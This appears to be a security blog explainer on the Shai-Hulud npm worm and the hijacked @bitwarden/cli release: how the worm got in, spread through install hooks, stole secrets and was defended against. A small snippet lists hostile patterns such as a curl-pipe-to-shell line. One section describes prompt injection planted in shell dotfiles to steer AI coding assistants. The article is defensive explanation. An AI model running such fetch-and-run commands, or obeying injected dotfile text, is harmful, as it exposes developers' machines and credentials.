npm Supply Chain Attack: How the Worm Spreads

On April 22, 2026, someone hijacked the official Bitwarden command-line tool on npm. Not a typosquat, not a lookalike. The real @bitwarden/cli, a package with a quarter of a million downloads a month. For 93 minutes, every developer who ran npm install got a credential stealer instead of a password manager.

That part is bad enough. The part that should worry you is that this thing could spread on its own. It hunts for your npm publish token, grabs every package you maintain, injects its own code, and republishes. One infected developer becomes twenty infected packages, which reach hundreds more developers. This is the anatomy of an npm supply chain attack that behaves like a worm, and why several of our best defenses did not stop it.

What was the npm supply chain attack?

It was the hijack of a real, trusted npm package. On April 22, 2026, attackers published a malicious @bitwarden/cli version 2026.4.0 to the registry, and for 93 minutes anyone who installed it got a credential stealer baked in. Bitwarden caught it fast, revoked access, deprecated the package, and shipped a clean build. As BleepingComputer reported, no password-vault data was touched. The damage landed on developer machines and CI runners, not on Bitwarden’s servers.

What makes this a supply chain attack, rather than just malware, is the route in. Nobody downloaded a sketchy file. People installed a package they trusted, from a vendor they trusted, through the normal tooling. The trust you place in a dependency is the attack surface, and that is exactly what got used.

The way the attackers got publish access is the unsettling part. They did not phish a maintainer or steal a password. They poisoned a GitHub Action that Bitwarden’s own CI pipeline depended on, the Checkmarx ast-github-action. Once that action was compromised, they modified the publish workflow on a side branch and used Bitwarden’s own publishing authority to push the bad version. The mechanism meant to make publishing safer was the mechanism they rode in on.

How does a self-propagating npm worm spread?

It turns every infected developer into the source of the next outbreak. When you install a carrier package, a preinstall hook runs before the package is even unpacked. The payload scans for an npm publish token, and if it finds one, it asks the registry for every package that token is allowed to publish. Then it loops: download each package, inject the worm, bump the version, republish. Your packages are now carriers too.

That loop is the whole reason this matters more than a one-off bad release. A normal compromised package infects whoever installs that one package. A worm infects whoever installs anything its victims maintain, then anything those victims maintain, branching outward through the dependency graph faster than any human response.

What is Shai-Hulud?

Shai-Hulud is the self-propagating npm worm behind all three waves, named after the giant sandworms in Frank Herbert’s Dune. If you searched the term and landed on a hardcore band, a video game, or the novels, that is the same name borrowed by the malware authors, who also tag their payloads with Dune references like “The Third Coming” and name their exfiltration repos fremen and sardaukar. The security-world Shai-Hulud is a specific family of worm that first hit npm in September 2025.

The April Bitwarden incident was the third wave, and each wave adapted to whatever defense stopped the last one. Wave one, in September 2025, used stolen npm tokens to republish infected packages. It hit more than 180 of them before CISA put out an advisory and GitHub responded with mandatory two-factor auth and seven-day token limits. Two months later, Check Point documented wave two: around 700 packages, 25,000 malicious GitHub repos, and thousands of leaked secrets.

Wave two also got nastier in how it ran. It moved from a postinstall hook to preinstall, so the code executed before installation even finished. It switched from Node to the Bun runtime to dodge Node-focused monitoring. And per Unit 42’s analysis, if it could not find any credentials to steal, it deleted your home directory out of spite.

What the worm steals, and how it gets it out

It sweeps your machine for anything that looks like a secret, then smuggles the haul out through channels built to look ordinary. The payload checks around 40 environment-variable patterns for names containing TOKEN, SECRET, KEY, AWS, or GITHUB, then reads files directly: your .npmrc, git credentials, SSH keys, cloud configs, .env files, shell history. The pgserve variant documented by StepSecurity even copied Chrome’s saved-password database on Linux.

Everything collected gets compressed and encrypted, so only the attacker can read it. Then it leaves through one of three fallback channels, each chosen because security tools rarely flag it.

The cleverest channel is the GitHub fallback. The worm uses your stolen token to create public repos and commits the encrypted data as JSON. It even reads instructions back out of GitHub: it searches the commit API for a hardcoded marker string and parses attacker commands out of public commit messages. The platform you trust to host your code becomes the command-and-control server.

The clean code problem: why scanners missed it

Most scanners are trained to spot ugly code, and this code was not ugly. The pgserve payload was around 1,100 lines of plain, readable JavaScript. No eval, no atob, no curl piped to a shell, no mangled variable names. Just standard Node APIs doing standard-looking things, which is exactly why it slipped through.

The trouble is that reading files and making HTTPS requests at install time is what plenty of legitimate packages do. A native module needs to check your platform; an analytics package phones home. The detection problem shifted from “find the obfuscated payload” to a much harder question: is this normal-looking script reading your SSH keys for a good reason, or a malicious one?

eval(atob("…"))
curl http://x | sh
const _0x3f = …

fs.readFile(sshKeyPath)
https.request(endpoint)
// 1,100 readable lines

Why AI coding assistants are the new target

Because that is where the freshest plaintext credentials now sit. The Bitwarden payload carried a module the attackers named after Dune’s “Butlerian Jihad,” and it went straight for AI coding tools. It checks your PATH for Claude, Gemini CLI, Codex, Kiro, and Aider, sends a test prompt to confirm the tool is logged in, and grabs the API keys, which often sit in readable JSON config files.

Then it goes after the tool itself. It injects a compressed block of text into your .bashrc and .zshrc. Your shell ignores it on startup, but an AI assistant that reads your shell config to understand your environment pulls that block straight into its context window. It is prompt injection delivered through your own dotfiles, aimed at the model rather than at you.

What actually stops a supply chain attack?

Blunt, boring controls work better than the clever ones. The defenses everyone assumed would hold mostly failed against Shai-Hulud, and the things that actually shrank the attack surface were unglamorous. Trusted publishing failed because the attackers rode an action that already had authority to publish. SHA pinning failed because once the bad version is in your lockfile, pinning just guarantees you install it. CVE scanners failed because they check manifests against known-vulnerability lists, not what a script does at install time.

What held up is a short list of habits. The biggest single win is disabling install scripts, because the preinstall and postinstall hooks are the entire attack surface here.

Run npm ci --ignore-scripts and allowlist the few packages that need native compilation. Pin exact versions instead of caret ranges, so a worm-bumped patch never installs automatically. Wait 48 to 72 hours before adopting new releases, which alone would have dodged the entire 93-minute Bitwarden window. And use a behavioral scanner: Socket and StepSecurity caught both April campaigns within hours, by watching what packages do rather than what they declare. GitHub has since added mandatory 2FA and staged publishing, which raises the bar, though the worm has a track record of routing around new controls.

The gap that stays open is timing. npm still has no pre-publication behavioral analysis, so every package goes live the instant it is published. The window between publish and detection is where all the damage happens, and right now nothing closes it before the fact.

The takeaway: every trust boundary has a weakest link

Three waves in seven months, each one a workaround for the defense added after the last. Phishing stopped working, so they poisoned the CI pipeline. Tokens got shorter, so they bypassed tokens. Node got monitored, so they switched to Bun. The pattern is not that npm is uniquely broken. It is that every trust boundary we build, tokens, two-factor, trusted publishing, provenance, is only as strong as the weakest link holding it up.

And that chain runs through every GitHub Action, every maintainer account, and every install hook in a dependency tree that can go hundreds of packages deep. You cannot personally audit all of it, which is why the defense that works is structural: assume any dependency can turn hostile, and make installing one cost you as little access as possible. The 93-minute window keeps getting shorter. Until it hits zero, the worm has room to run.

For the full visual breakdown, with the infection map animating wave by wave, watch the explainer on YouTube.